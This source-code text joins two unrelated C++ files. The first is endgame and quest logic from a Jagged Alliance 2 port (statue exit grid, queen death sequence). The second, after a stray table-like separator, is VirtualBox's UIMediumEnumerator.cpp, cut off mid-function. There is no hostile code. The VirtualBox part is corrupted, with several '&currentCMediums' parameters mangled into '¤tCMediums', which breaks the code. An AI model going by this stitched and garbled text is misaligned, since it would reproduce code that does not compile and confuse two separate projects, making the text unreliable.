#include "TileDef.h"
#include "Timer_Control.h"
#include "WorldMan.h"
#include "Soldier_Profile.h"
#include "NPC.h"
#include "OppList.h"
#include "AI.h"
#include "Dialogue_Control.h"
#include "Handle_UI.h"
#include "Points.h"
#include "End_Game.h"
#include "Intro.h"
#include "Exit_Grids.h"
#include "StrategicMap.h"
#include "Quests.h"
#include "SaveLoadMap.h"
#include "Sound_Control.h"
#include "RenderWorld.h"
#include "Isometric_Utils.h"
#include "Music_Control.h"
#include "ContentMusic.h"
#include "Soldier_Macros.h"
#include "QArray.h"
#include "LOS.h"
#include "Strategic_AI.h"
#include "Squads.h"
#include "PreBattle_Interface.h"
#include "Strategic.h"
#include "Queen_Command.h"
#include "Morale.h"
#include "Strategic_Town_Loyalty.h"
#include "Player_Command.h"
#include "Tactical_Save.h"
#include "Fade_Screen.h"
#include "ScreenIDs.h"
INT16 sStatueGridNos[] = { 13829, 13830, 13669, 13670 };
SOLDIERTYPE *gpKillerSoldier = NULL;
INT16 gsGridNo;
INT8 gbLevel;
// This function checks if our statue exists in the current sector at given gridno
static BOOLEAN DoesO3SectorStatueExistHere( INT16 sGridNo )
{
INT32 cnt;
EXITGRID ExitGrid;
// First check current sector......
if ( gWorldSectorX == 3 && gWorldSectorY == MAP_ROW_O && gbWorldSectorZ == 0 )
{
// Check for exitence of and exit grid here...
// ( if it doesn't then the change has already taken place )
if ( !GetExitGrid( 13669, &ExitGrid ) )
{
for ( cnt = 0; cnt < 4; cnt++ )
{
if ( sStatueGridNos[ cnt ] == sGridNo )
{
return( TRUE );
}
}
}
}
return( FALSE );
}
// This function changes the graphic of the statue and adds the exit grid...
void ChangeO3SectorStatue( BOOLEAN fFromExplosion )
{
EXITGRID ExitGrid;
UINT16 usTileIndex;
// Remove old graphic
{
ApplyMapChangesToMapTempFile app;
// Remove it!
// Get index for it...
usTileIndex = GetTileIndexFromTypeSubIndex(EIGHTOSTRUCT, 5);
RemoveStruct( 13830, usTileIndex );
// Add new one...
if ( fFromExplosion )
{
// Use damaged peice
usTileIndex = GetTileIndexFromTypeSubIndex(EIGHTOSTRUCT, 7);
}
else
{
usTileIndex = GetTileIndexFromTypeSubIndex(EIGHTOSTRUCT, 8);
// Play sound...
PlayJA2Sample(OPEN_STATUE, HIGHVOLUME, 1, MIDDLEPAN);
}
AddStructToHead( 13830, usTileIndex );
// Add exit grid
ExitGrid.ubGotoSectorX = 3;
ExitGrid.ubGotoSectorY = MAP_ROW_O;
ExitGrid.ubGotoSectorZ = 1;
ExitGrid.usGridNo = 13037;
AddExitGridToWorld( 13669, &ExitGrid );
gpWorldLevelData[ 13669 ].uiFlags |= MAPELEMENT_REVEALED;
}
// Re-render the world!
gTacticalStatus.uiFlags |= NOHIDE_REDUNDENCY;
// FOR THE NEXT RENDER LOOP, RE-EVALUATE REDUNDENT TILES
InvalidateWorldRedundency( );
SetRenderFlags(RENDER_FLAG_FULL);
RecompileLocalMovementCostsFromRadius( 13830, 5 );
}
void HandleStatueDamaged(INT16 sectorX, INT16 sectorY, INT8 sectorZ, INT16 sGridNo, STRUCTURE *s, UINT32 uiDist, BOOLEAN_S *skipDamage)
{
/* ATE: Check for O3 statue for special damage
* Note, we do this check every time explosion goes off in game, but it's an
* efficient check */
if (DoesO3SectorStatueExistHere(sGridNo) && uiDist <= 1)
{
ChangeO3SectorStatue(TRUE);
*skipDamage = true;
}
}
static void HandleDeidrannaDeath(SOLDIERTYPE* pKillerSoldier, INT16 sGridNo, INT8 bLevel);
static void DeidrannaTimerCallback(void)
{
HandleDeidrannaDeath( gpKillerSoldier, gsGridNo, gbLevel );
}
void BeginHandleDeidrannaDeath( SOLDIERTYPE *pKillerSoldier, INT16 sGridNo, INT8 bLevel )
{
gpKillerSoldier = pKillerSoldier;
gsGridNo = sGridNo;
gbLevel = bLevel;
// Lock the UI.....
gTacticalStatus.uiFlags |= ENGAGED_IN_CONV;
// Increment refrence count...
giNPCReferenceCount = 1;
gTacticalStatus.uiFlags |= IN_DEIDRANNA_ENDGAME;
SetCustomizableTimerCallbackAndDelay( 2000, DeidrannaTimerCallback, FALSE );
}
static void DoneFadeOutKilledQueen();
static void HandleDeidrannaDeath(SOLDIERTYPE* const pKillerSoldier, const INT16 sGridNo, const INT8 bLevel)
{
// Start victory music here...
SetMusicMode( MUSIC_TACTICAL_VICTORY );
if ( pKillerSoldier )
{
TacticalCharacterDialogue( pKillerSoldier, QUOTE_KILLING_DEIDRANNA );
}
// STEP 1 ) START ALL QUOTES GOING!
// OK - loop through all witnesses and see if they want to say something abou this...
FOR_EACH_IN_TEAM(s, OUR_TEAM)
{
if (s != pKillerSoldier &&
OkControllableMerc(s) &&
!(s->uiStatusFlags & SOLDIER_GASSED) &&
!AM_AN_EPC(s) &&
QuoteExp_WitnessDeidrannaDeath[s->ubProfile])
{
// Can we see location?
const INT16 sDistVisible = DistanceVisible(s, DIRECTION_IRRELEVANT, DIRECTION_IRRELEVANT, sGridNo, bLevel);
if (SoldierTo3DLocationLineOfSightTest(s, sGridNo, bLevel, 3, sDistVisible, TRUE))
{
TacticalCharacterDialogue(s, QUOTE_KILLING_DEIDRANNA);
}
}
}
// Set fact that she is dead!
SetFactTrue( FACT_QUEEN_DEAD );
ExecuteStrategicAIAction( STRATEGIC_AI_ACTION_QUEEN_DEAD, 0, 0 );
class DialogueEventDoneKillingDeidranna : public DialogueEvent
{
public:
bool Execute()
{
// Called after all player quotes are done
gFadeOutDoneCallback = DoneFadeOutKilledQueen;
FadeOutGameScreen();
return false;
}
};
// AFTER LAST ONE IS DONE - PUT SPECIAL EVENT ON QUEUE TO BEGIN FADE< ETC
DialogueEvent::Add(new DialogueEventDoneKillingDeidranna());
}
static void DoneFadeInKilledQueen(void)
{
// Run NPC script
const SOLDIERTYPE* const pNPCSoldier = FindSoldierByProfileID(DEREK);
if ( !pNPCSoldier )
{
return;
}
TriggerNPCRecordImmediately( pNPCSoldier->ubProfile, 6 );
}
static void DoneFadeOutKilledQueen()
{
// Move current squad over
FOR_EACH_IN_TEAM(i, OUR_TEAM)
{
SOLDIERTYPE& s = *i;
// Are we in this sector, on the current squad?
if (s.bLife < OKLIFE) continue;
if (!s.bInSector) continue;
if (s.bAssignment != CurrentSquad()) continue;
gfTacticalTraversal = TRUE;
SetGroupSectorValue(3, MAP_ROW_P, 0, *GetGroup(s.ubGroupID));
// XXX redundant, SetGroupSectorValue() handles this
s.sSectorX = 3;
s.sSectorY = MAP_ROW_P;
s.bSectorZ = 0;
// Set gridno
s.ubStrategicInsertionCode = INSERTION_CODE_GRIDNO;
s.usStrategicInsertionData = 5687;
// Set direction to face
s.ubInsertionDirection = 100 + NORTHWEST;
}
// Kill all enemies in world
CFOR_EACH_IN_TEAM(i, ENEMY_TEAM)
{
SOLDIERTYPE const& s = *i;
// For sure for flag thet they are dead is not set
// Check for any more badguys
// ON THE STRAGETY LAYER KILL BAD GUYS!
if (s.bNeutral) continue;
if (s.bSide == OUR_TEAM) continue;
ProcessQueenCmdImplicationsOfDeath(&s);
}
// 'End' battle
ExitCombatMode();
gTacticalStatus.fLastBattleWon = TRUE;
// Set enemy presence to false
gTacticalStatus.fEnemyInSector = FALSE;
SetMusicMode(MUSIC_TACTICAL_VICTORY);
HandleMoraleEvent(0, MORALE_QUEEN_BATTLE_WON, 3, MAP_ROW_P, 0);
HandleGlobalLoyaltyEvent(GLOBAL_LOYALTY_QUEEN_BATTLE_WON, 3, MAP_ROW_P, 0);
SetMusicMode(MUSIC_TACTICAL_VICTORY);
SetThisSectorAsPlayerControlled(gWorldSectorX, gWorldSectorY, gbWorldSectorZ, TRUE);
// ATE: Force change of level set z to 1
gbWorldSectorZ = 1;
// Clear out dudes
SECTORINFO& sector = SectorInfo[SEC_P3];
sector.ubNumAdmins = 0;
sector.ubNumTroops = 0;
sector.ubNumElites = 0;
sector.ubAdminsInBattle = 0;
sector.ubTroopsInBattle = 0;
sector.ubElitesInBattle = 0;
// ATE: Get rid of Elliot in P3
GetProfile(ELLIOT).sSectorX = 1;
ChangeNpcToDifferentSector(GetProfile(DEREK), 3, MAP_ROW_P, 0);
ChangeNpcToDifferentSector(GetProfile(OLIVER), 3, MAP_ROW_P, 0);
SetCurrentWorldSector(3, MAP_ROW_P, 0);
gfTacticalTraversal = FALSE;
gpTacticalTraversalGroup = 0;
gpTacticalTraversalChosenSoldier = 0;
gFadeInDoneCallback = DoneFadeInKilledQueen;
FadeInGameScreen();
}
static void DoneFadeOutEndCinematic(void);
void EndQueenDeathEndgameBeginEndCimenatic( )
{
// Start end cimimatic....
gTacticalStatus.uiFlags |= IN_ENDGAME_SEQUENCE;
// first thing is to loop through team and say end quote...
FOR_EACH_IN_TEAM(s, OUR_TEAM)
{
if (s->bLife >= OKLIFE && !AM_AN_EPC(s))
{
TacticalCharacterDialogue(s, QUOTE_END_GAME_COMMENT);
}
}
class DialogueEventTeamMembersDoneTalking : public DialogueEvent
{
public:
bool Execute()
{
// End death UI - fade to smaker
EndQueenDeathEndgame();
gFadeOutDoneCallback = DoneFadeOutEndCinematic;
FadeOutGameScreen();
return false;
}
};
// Add queue event to proceed w/ smacker cimimatic
DialogueEvent::Add(new DialogueEventTeamMembersDoneTalking());
}
void EndQueenDeathEndgame( )
{
// Unset flags...
gTacticalStatus.uiFlags &= (~ENGAGED_IN_CONV );
// Increment refrence count...
giNPCReferenceCount = 0;
gTacticalStatus.uiFlags &= (~IN_DEIDRANNA_ENDGAME);
}
static void DoneFadeOutEndCinematic(void)
{
// DAVE PUT SMAKER STUFF HERE!!!!!!!!!!!!
// :)
gTacticalStatus.uiFlags &= (~IN_ENDGAME_SEQUENCE);
// For now, just quit the freaken game...
//InternalLeaveTacticalScreen( MAINMENU_SCREEN );
InternalLeaveTacticalScreen( INTRO_SCREEN );
//guiCurrentScreen = INTRO_SCREEN;
SetIntroType( INTRO_ENDING );
}
static void HandleQueenBitchDeath(SOLDIERTYPE* pKillerSoldier, INT16 sGridNo, INT8 bLevel);
static void QueenBitchTimerCallback(void)
{
HandleQueenBitchDeath( gpKillerSoldier, gsGridNo, gbLevel );
}
void BeginHandleQueenBitchDeath( SOLDIERTYPE *pKillerSoldier, INT16 sGridNo, INT8 bLevel )
{
gpKillerSoldier = pKillerSoldier;
gsGridNo = sGridNo;
gbLevel = bLevel;
// Lock the UI.....
gTacticalStatus.uiFlags |= ENGAGED_IN_CONV;
// Increment refrence count...
giNPCReferenceCount = 1;
// gTacticalStatus.uiFlags |= IN_DEIDRANNA_ENDGAME;
SetCustomizableTimerCallbackAndDelay( 3000, QueenBitchTimerCallback, FALSE );
// Kill all enemies in creature team.....
FOR_EACH_IN_TEAM(s, CREATURE_TEAM)
{
// Are we ALIVE.....
if (s->bLife > 0)
{
// For sure for flag thet they are dead is not set
// Check for any more badguys
// ON THE STRAGETY LAYER KILL BAD GUYS!
// HELLO! THESE ARE CREATURES! THEY CAN'T BE NEUTRAL!
//if (!s->bNeutral && s->bSide != OUR_TEAM)
{
gTacticalStatus.ubAttackBusyCount++;
EVENT_SoldierGotHit(s, 0, 10000, 0, s->bDirection, 320, NULL, FIRE_WEAPON_NO_SPECIAL, s->bAimShotLocation, NOWHERE);
}
}
}
}
static void HandleQueenBitchDeath(SOLDIERTYPE* const pKillerSoldier, const INT16 sGridNo, const INT8 bLevel)
{
// Start victory music here...
SetMusicMode( MUSIC_TACTICAL_VICTORY );
if ( pKillerSoldier )
{
TacticalCharacterDialogue( pKillerSoldier, QUOTE_KILLING_QUEEN );
}
// STEP 1 ) START ALL QUOTES GOING!
// OK - loop through all witnesses and see if they want to say something abou this...
FOR_EACH_IN_TEAM(s, OUR_TEAM)
{
if (s != pKillerSoldier &&
OkControllableMerc(s) &&
!(s->uiStatusFlags & SOLDIER_GASSED) &&
!AM_AN_EPC(s) &&
QuoteExp_WitnessQueenBugDeath[s->ubProfile])
{
// Can we see location?
const INT16 sDistVisible = DistanceVisible(s, DIRECTION_IRRELEVANT, DIRECTION_IRRELEVANT, sGridNo, bLevel);
if (SoldierTo3DLocationLineOfSightTest(s, sGridNo, bLevel, 3, sDistVisible, TRUE))
{
TacticalCharacterDialogue(s, QUOTE_KILLING_QUEEN);
}
}
}
// Set fact that she is dead!
if ( CheckFact( FACT_QUEEN_DEAD, 0 ) )
{
EndQueenDeathEndgameBeginEndCimenatic( );
}
else
{
// Unset flags...
gTacticalStatus.uiFlags &= (~ENGAGED_IN_CONV );
// Increment refrence count...
giNPCReferenceCount = 0;
}
}
| 4,778 |
521 | <filename>third_party/virtualbox/src/VBox/Frontends/VirtualBox/src/medium/UIMediumEnumerator.cpp
/* $Id: UIMediumEnumerator.cpp $ */
/** @file
* VBox Qt GUI - UIMediumEnumerator class implementation.
*/
/*
* Copyright (C) 2013-2017 Oracle Corporation
*
* This file is part of VirtualBox Open Source Edition (OSE), as
* available from http://www.virtualbox.org. This file is free software;
* you can redistribute it and/or modify it under the terms of the GNU
* General Public License (GPL) as published by the Free Software
* Foundation, in version 2 as it comes in the "COPYING" file of the
* VirtualBox OSE distribution. VirtualBox OSE is distributed in the
* hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
*/
#ifdef VBOX_WITH_PRECOMPILED_HEADERS
# include <precomp.h>
#else /* !VBOX_WITH_PRECOMPILED_HEADERS */
/* Qt includes: */
# include <QSet>
/* GUI includes: */
# include "UIMediumEnumerator.h"
# include "UIThreadPool.h"
# include "UIVirtualBoxEventHandler.h"
# include "VBoxGlobal.h"
/* COM includes: */
# include "COMEnums.h"
# include "CMachine.h"
# include "CSnapshot.h"
# include "CMediumAttachment.h"
#endif /* !VBOX_WITH_PRECOMPILED_HEADERS */
/** UITask extension used for medium enumeration purposes. */
class UITaskMediumEnumeration : public UITask
{
Q_OBJECT;
public:
/** Constructs @a medium enumeration task. */
UITaskMediumEnumeration(const UIMedium &medium)
: UITask(UITask::Type_MediumEnumeration)
{
/* Store medium as property: */
setProperty("medium", QVariant::fromValue(medium));
}
private:
/** Contains medium enumeration task body. */
void run()
{
/* Get medium: */
UIMedium medium = property("medium").value<UIMedium>();
/* Enumerate it: */
medium.blockAndQueryState();
/* Put it back: */
setProperty("medium", QVariant::fromValue(medium));
}
};
UIMediumEnumerator::UIMediumEnumerator()
: m_fMediumEnumerationInProgress(false)
{
/* Allow UIMedium to be used in inter-thread signals: */
qRegisterMetaType<UIMedium>();
/* Prepare Main event handlers: */
connect(gVBoxEvents, &UIVirtualBoxEventHandler::sigMachineDataChange, this, &UIMediumEnumerator::sltHandleMachineUpdate);
connect(gVBoxEvents, &UIVirtualBoxEventHandler::sigSnapshotTake, this, &UIMediumEnumerator::sltHandleMachineUpdate);
connect(gVBoxEvents, &UIVirtualBoxEventHandler::sigSnapshotDelete, this, &UIMediumEnumerator::sltHandleSnapshotDeleted);
connect(gVBoxEvents, &UIVirtualBoxEventHandler::sigSnapshotChange, this, &UIMediumEnumerator::sltHandleMachineUpdate);
connect(gVBoxEvents, &UIVirtualBoxEventHandler::sigSnapshotRestore, this, &UIMediumEnumerator::sltHandleSnapshotDeleted);
connect(gVBoxEvents, &UIVirtualBoxEventHandler::sigMachineRegistered, this, &UIMediumEnumerator::sltHandleMachineRegistration);
/* Listen for global thread-pool: */
connect(vboxGlobal().threadPool(), &UIThreadPool::sigTaskComplete, this, &UIMediumEnumerator::sltHandleMediumEnumerationTaskComplete);
}
QList<QString> UIMediumEnumerator::mediumIDs() const
{
/* Return keys of current medium-map: */
return m_mediums.keys();
}
UIMedium UIMediumEnumerator::medium(const QString &strMediumID)
{
/* Search through current medium-map for the medium with passed ID: */
if (m_mediums.contains(strMediumID))
return m_mediums[strMediumID];
/* Return NULL medium otherwise: */
return UIMedium();
}
void UIMediumEnumerator::createMedium(const UIMedium &medium)
{
/* Get medium ID: */
const QString strMediumID = medium.id();
/* Do not create UIMedium(s) with incorrect ID: */
AssertReturnVoid(!strMediumID.isNull());
AssertReturnVoid(strMediumID != UIMedium::nullID());
/* Make sure medium doesn't exists already: */
AssertReturnVoid(!m_mediums.contains(strMediumID));
/* Insert medium: */
m_mediums[strMediumID] = medium;
LogRel(("GUI: UIMediumEnumerator: Medium with key={%s} created\n", strMediumID.toUtf8().constData()));
/* Notify listener: */
emit sigMediumCreated(strMediumID);
}
void UIMediumEnumerator::deleteMedium(const QString &strMediumID)
{
/* Do not delete UIMedium(s) with incorrect ID: */
AssertReturnVoid(!strMediumID.isNull());
AssertReturnVoid(strMediumID != UIMedium::nullID());
/* Make sure medium still exists: */
AssertReturnVoid(m_mediums.contains(strMediumID));
/* Remove medium: */
m_mediums.remove(strMediumID);
LogRel(("GUI: UIMediumEnumerator: Medium with key={%s} deleted\n", strMediumID.toUtf8().constData()));
/* Notify listener: */
emit sigMediumDeleted(strMediumID);
}
void UIMediumEnumerator::enumerateMediums()
{
/* Make sure we are not already in progress: */
AssertReturnVoid(!m_fMediumEnumerationInProgress);
/* Compose new map of all currently known mediums & their children.
* While composing we are using data from already existing mediums. */
UIMediumMap mediums;
addNullMediumToMap(mediums);
addHardDisksToMap(vboxGlobal().virtualBox().GetHardDisks(), mediums);
addMediumsToMap(vboxGlobal().host().GetDVDDrives(), mediums, UIMediumType_DVD);
addMediumsToMap(vboxGlobal().virtualBox().GetDVDImages(), mediums, UIMediumType_DVD);
addMediumsToMap(vboxGlobal().host().GetFloppyDrives(), mediums, UIMediumType_Floppy);
addMediumsToMap(vboxGlobal().virtualBox().GetFloppyImages(), mediums, UIMediumType_Floppy);
if (vboxGlobal().isCleaningUp())
return; /* VBoxGlobal is cleaning up, abort immediately. */
m_mediums = mediums;
/* Notify listener: */
LogRel(("GUI: UIMediumEnumerator: Medium-enumeration started...\n"));
m_fMediumEnumerationInProgress = true;
emit sigMediumEnumerationStarted();
/* Make sure we really have more than one medium (which is Null): */
if (m_mediums.size() == 1)
{
/* Notify listener: */
LogRel(("GUI: UIMediumEnumerator: Medium-enumeration finished!\n"));
m_fMediumEnumerationInProgress = false;
emit sigMediumEnumerationFinished();
}
/* Start enumeration for UIMedium(s) with correct ID: */
foreach (const QString &strMediumID, m_mediums.keys())
if (!strMediumID.isNull() && strMediumID != UIMedium::nullID())
createMediumEnumerationTask(m_mediums[strMediumID]);
}
void UIMediumEnumerator::sltHandleMachineUpdate(QString strMachineID)
{
LogRel2(("GUI: UIMediumEnumerator: Machine (or snapshot) event received, ID = %s\n",
strMachineID.toUtf8().constData()));
/* Gather previously used UIMedium IDs: */
QStringList previousUIMediumIDs;
calculateCachedUsage(strMachineID, previousUIMediumIDs, true /* take into account current state only */);
LogRel2(("GUI: UIMediumEnumerator: Old usage: %s\n",
previousUIMediumIDs.isEmpty() ? "<empty>" : previousUIMediumIDs.join(", ").toUtf8().constData()));
/* Gather currently used CMediums and their IDs: */
CMediumMap currentCMediums;
QStringList currentCMediumIDs;
calculateActualUsage(strMachineID, currentCMediums, currentCMediumIDs, true /* take into account current state only */);
LogRel2(("GUI: UIMediumEnumerator: New usage: %s\n",
currentCMediumIDs.isEmpty() ? "<empty>" : currentCMediumIDs.join(", ").toUtf8().constData()));
/* Determine excluded mediums: */
const QSet<QString> previousSet = previousUIMediumIDs.toSet();
const QSet<QString> currentSet = currentCMediumIDs.toSet();
const QSet<QString> excludedSet = previousSet - currentSet;
const QStringList excludedUIMediumIDs = excludedSet.toList();
if (!excludedUIMediumIDs.isEmpty())
LogRel2(("GUI: UIMediumEnumerator: Items excluded from usage: %s\n", excludedUIMediumIDs.join(", ").toUtf8().constData()));
if (!currentCMediumIDs.isEmpty())
LogRel2(("GUI: UIMediumEnumerator: Items currently in usage: %s\n", currentCMediumIDs.join(", ").toUtf8().constData()));
/* Update cache for excluded UIMediums: */
recacheFromCachedUsage(excludedUIMediumIDs);
/* Update cache for current CMediums: */
recacheFromActualUsage(currentCMediums, currentCMediumIDs);
LogRel2(("GUI: UIMediumEnumerator: Machine (or snapshot) event processed, ID = %s\n",
strMachineID.toUtf8().constData()));
}
void UIMediumEnumerator::sltHandleMachineRegistration(QString strMachineID, bool fRegistered)
{
LogRel2(("GUI: UIMediumEnumerator: Machine %s event received, ID = %s\n",
fRegistered ? "registration" : "unregistration",
strMachineID.toUtf8().constData()));
/* Machine was registered: */
if (fRegistered)
{
/* Gather currently used CMediums and their IDs: */
CMediumMap currentCMediums;
QStringList currentCMediumIDs;
calculateActualUsage(strMachineID, currentCMediums, currentCMediumIDs, false /* take into account current state only */);
LogRel2(("GUI: UIMediumEnumerator: New usage: %s\n",
currentCMediumIDs.isEmpty() ? "<empty>" : currentCMediumIDs.join(", ").toUtf8().constData()));
/* Update cache with currently used CMediums: */
recacheFromActualUsage(currentCMediums, currentCMediumIDs);
}
/* Machine was unregistered: */
else
{
/* Gather previously used UIMedium IDs: */
QStringList previousUIMediumIDs;
calculateCachedUsage(strMachineID, previousUIMediumIDs, false /* take into account current state only */);
LogRel2(("GUI: UIMediumEnumerator: Old usage: %s\n",
previousUIMediumIDs.isEmpty() ? "<empty>" : previousUIMediumIDs.join(", ").toUtf8().constData()));
/* Update cache for previously used UIMediums: */
recacheFromCachedUsage(previousUIMediumIDs);
}
LogRel2(("GUI: UIMediumEnumerator: Machine %s event processed, ID = %s\n",
fRegistered ? "registration" : "unregistration",
strMachineID.toUtf8().constData()));
}
void UIMediumEnumerator::sltHandleSnapshotDeleted(QString strMachineID, QString strSnapshotID)
{
LogRel2(("GUI: UIMediumEnumerator: Snapshot-deleted event received, Machine ID = {%s}, Snapshot ID = {%s}\n",
strMachineID.toUtf8().constData(), strSnapshotID.toUtf8().constData()));
/* Gather previously used UIMedium IDs: */
QStringList previousUIMediumIDs;
calculateCachedUsage(strMachineID, previousUIMediumIDs, false /* take into account current state only */);
LogRel2(("GUI: UIMediumEnumerator: Old usage: %s\n",
previousUIMediumIDs.isEmpty() ? "<empty>" : previousUIMediumIDs.join(", ").toUtf8().constData()));
/* Gather currently used CMediums and their IDs: */
CMediumMap currentCMediums;
QStringList currentCMediumIDs;
calculateActualUsage(strMachineID, currentCMediums, currentCMediumIDs, true /* take into account current state only */);
LogRel2(("GUI: UIMediumEnumerator: New usage: %s\n",
currentCMediumIDs.isEmpty() ? "<empty>" : currentCMediumIDs.join(", ").toUtf8().constData()));
/* Update everything: */
recacheFromCachedUsage(previousUIMediumIDs);
recacheFromActualUsage(currentCMediums, currentCMediumIDs);
LogRel2(("GUI: UIMediumEnumerator: Snapshot-deleted event processed, Machine ID = {%s}, Snapshot ID = {%s}\n",
strMachineID.toUtf8().constData(), strSnapshotID.toUtf8().constData()));
}
void UIMediumEnumerator::sltHandleMediumEnumerationTaskComplete(UITask *pTask)
{
/* Make sure that is one of our tasks: */
if (pTask->type() != UITask::Type_MediumEnumeration)
return;
AssertReturnVoid(m_tasks.contains(pTask));
/* Get enumerated UIMedium: */
const UIMedium uimedium = pTask->property("medium").value<UIMedium>();
const QString strUIMediumKey = uimedium.key();
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} enumerated\n", strUIMediumKey.toUtf8().constData()));
/* Remove task from internal set: */
m_tasks.remove(pTask);
/* Make sure such UIMedium still exists: */
if (!m_mediums.contains(strUIMediumKey))
{
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} already deleted by a third party\n", strUIMediumKey.toUtf8().constData()));
return;
}
/* Check if UIMedium ID was changed: */
const QString strUIMediumID = uimedium.id();
/* UIMedium ID was changed to nullID: */
if (strUIMediumID == UIMedium::nullID())
{
/* Delete this medium: */
m_mediums.remove(strUIMediumKey);
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} closed and deleted (after enumeration)\n", strUIMediumKey.toUtf8().constData()));
/* And notify listener about delete: */
emit sigMediumDeleted(strUIMediumKey);
}
/* UIMedium ID was changed to something proper: */
else if (strUIMediumID != strUIMediumKey)
{
/* We have to reinject enumerated medium: */
m_mediums.remove(strUIMediumKey);
m_mediums[strUIMediumID] = uimedium;
m_mediums[strUIMediumID].setKey(strUIMediumID);
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} has it changed to {%s}\n", strUIMediumKey.toUtf8().constData(),
strUIMediumID.toUtf8().constData()));
/* And notify listener about delete/create: */
emit sigMediumDeleted(strUIMediumKey);
emit sigMediumCreated(strUIMediumID);
}
/* UIMedium ID was not changed: */
else
{
/* Just update enumerated medium: */
m_mediums[strUIMediumID] = uimedium;
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} updated\n", strUIMediumID.toUtf8().constData()));
/* And notify listener about update: */
emit sigMediumEnumerated(strUIMediumID);
}
/* If there are no more tasks we know about: */
if (m_tasks.isEmpty())
{
/* Notify listener: */
LogRel(("GUI: UIMediumEnumerator: Medium-enumeration finished!\n"));
m_fMediumEnumerationInProgress = false;
emit sigMediumEnumerationFinished();
}
}
void UIMediumEnumerator::retranslateUi()
{
/* Translating NULL uimedium by recreating it: */
if (m_mediums.contains(UIMedium::nullID()))
m_mediums[UIMedium::nullID()] = UIMedium();
}
void UIMediumEnumerator::createMediumEnumerationTask(const UIMedium &medium)
{
/* Prepare medium-enumeration task: */
UITask *pTask = new UITaskMediumEnumeration(medium);
/* Append to internal set: */
m_tasks << pTask;
/* Post into global thread-pool: */
vboxGlobal().threadPool()->enqueueTask(pTask);
}
void UIMediumEnumerator::addNullMediumToMap(UIMediumMap &mediums)
{
/* Insert NULL uimedium to the passed uimedium map.
* Get existing one from the previous map if any. */
QString strNullMediumID = UIMedium::nullID();
UIMedium uimedium = m_mediums.contains(strNullMediumID) ? m_mediums[strNullMediumID] : UIMedium();
mediums.insert(strNullMediumID, uimedium);
}
void UIMediumEnumerator::addMediumsToMap(const CMediumVector &inputMediums, UIMediumMap &outputMediums, UIMediumType mediumType)
{
/* Insert hard-disks to the passed uimedium map.
* Get existing one from the previous map if any. */
foreach (CMedium medium, inputMediums)
{
/* If VBoxGlobal is cleaning up, abort immediately: */
if (vboxGlobal().isCleaningUp())
break;
/* Prepare uimedium on the basis of current medium: */
QString strMediumID = medium.GetId();
UIMedium uimedium = m_mediums.contains(strMediumID) ? m_mediums[strMediumID] :
UIMedium(medium, mediumType);
/* Insert uimedium into map: */
outputMediums.insert(uimedium.id(), uimedium);
}
}
void UIMediumEnumerator::addHardDisksToMap(const CMediumVector &inputMediums, UIMediumMap &outputMediums)
{
/* Insert hard-disks to the passed uimedium map.
* Get existing one from the previous map if any. */
foreach (CMedium medium, inputMediums)
{
/* If VBoxGlobal is cleaning up, abort immediately: */
if (vboxGlobal().isCleaningUp())
break;
/* Prepare uimedium on the basis of current medium: */
QString strMediumID = medium.GetId();
UIMedium uimedium = m_mediums.contains(strMediumID) ? m_mediums[strMediumID] :
UIMedium(medium, UIMediumType_HardDisk);
/* Insert uimedium into map: */
outputMediums.insert(uimedium.id(), uimedium);
/* Insert medium children into map too: */
addHardDisksToMap(medium.GetChildren(), outputMediums);
}
}
/**
* Calculates last known UIMedium <i>usage</i> based on cached data.
* @param strMachineID describes the machine we are calculating <i>usage</i> for.
* @param previousUIMediumIDs receives UIMedium IDs used in cached data.
* @param fTakeIntoAccountCurrentStateOnly defines whether we should take into accound current VM state only.
*/
void UIMediumEnumerator::calculateCachedUsage(const QString &strMachineID, QStringList &previousUIMediumIDs, bool fTakeIntoAccountCurrentStateOnly) const
{
/* For each the UIMedium ID cache have: */
foreach (const QString &strMediumID, mediumIDs())
{
/* Get corresponding UIMedium: */
const UIMedium &uimedium = m_mediums[strMediumID];
/* Get the list of the machines this UIMedium attached to.
* Take into account current-state only if necessary. */
const QList<QString> &machineIDs = fTakeIntoAccountCurrentStateOnly ?
uimedium.curStateMachineIds() : uimedium.machineIds();
/* Add this UIMedium ID to previous usage if necessary: */
if (machineIDs.contains(strMachineID))
previousUIMediumIDs << strMediumID;
}
}
/**
* Calculates new CMedium <i>usage</i> based on actual data.
* @param strMachineID describes the machine we are calculating <i>usage</i> for.
* @param currentCMediums receives CMedium used in actual data.
* @param currentCMediumIDs receives CMedium IDs used in actual data.
* @param fTakeIntoAccountCurrentStateOnly defines whether we should take into accound current VM state only.
*/
void UIMediumEnumerator::calculateActualUsage(const QString &strMachineID, CMediumMap ¤tCMediums, QStringList ¤tCMediumIDs, bool fTakeIntoAccountCurrentStateOnly) const
{
/* Search for corresponding machine: */
CMachine machine = vboxGlobal().virtualBox().FindMachine(strMachineID);
if (machine.isNull())
{
/* Usually means the machine is already gone, not harmful. */
return;
}
/* Calculate actual usage starting from root-snapshot if necessary: */
if (!fTakeIntoAccountCurrentStateOnly)
calculateActualUsage(machine.FindSnapshot(QString()), currentCMediums, currentCMediumIDs);
/* Calculate actual usage for current machine state: */
calculateActualUsage(machine, currentCMediums, currentCMediumIDs);
}
/**
* Calculates new CMedium <i>usage</i> based on actual data.
* @param snapshot is reference we are calculating <i>usage</i> for.
* @param currentCMediums receives CMedium used in actual data.
* @param currentCMediumIDs receives CMedium IDs used in actual data.
*/
void UIMediumEnumerator::calculateActualUsage(const CSnapshot &snapshot, CMediumMap ¤tCMediums, QStringList ¤tCMediumIDs) const
{
/* Check passed snapshot: */
if (snapshot.isNull())
return;
/* Calculate actual usage for passed snapshot machine: */
calculateActualUsage(snapshot.GetMachine(), currentCMediums, currentCMediumIDs);
/* Iterate through passed snapshot children: */
foreach (const CSnapshot &childSnapshot, snapshot.GetChildren())
calculateActualUsage(childSnapshot, currentCMediums, currentCMediumIDs);
}
/**
* Calculates new CMedium <i>usage</i> based on actual data.
* @param machine is reference we are calculating <i>usage</i> for.
* @param currentCMediums receives CMedium used in actual data.
* @param currentCMediumIDs receives CMedium IDs used in actual data.
*/
void UIMediumEnumerator::calculateActualUsage(const CMachine &machine, CMediumMap ¤tCMediums, QStringList ¤tCMediumIDs) const
{
/* Check passed machine: */
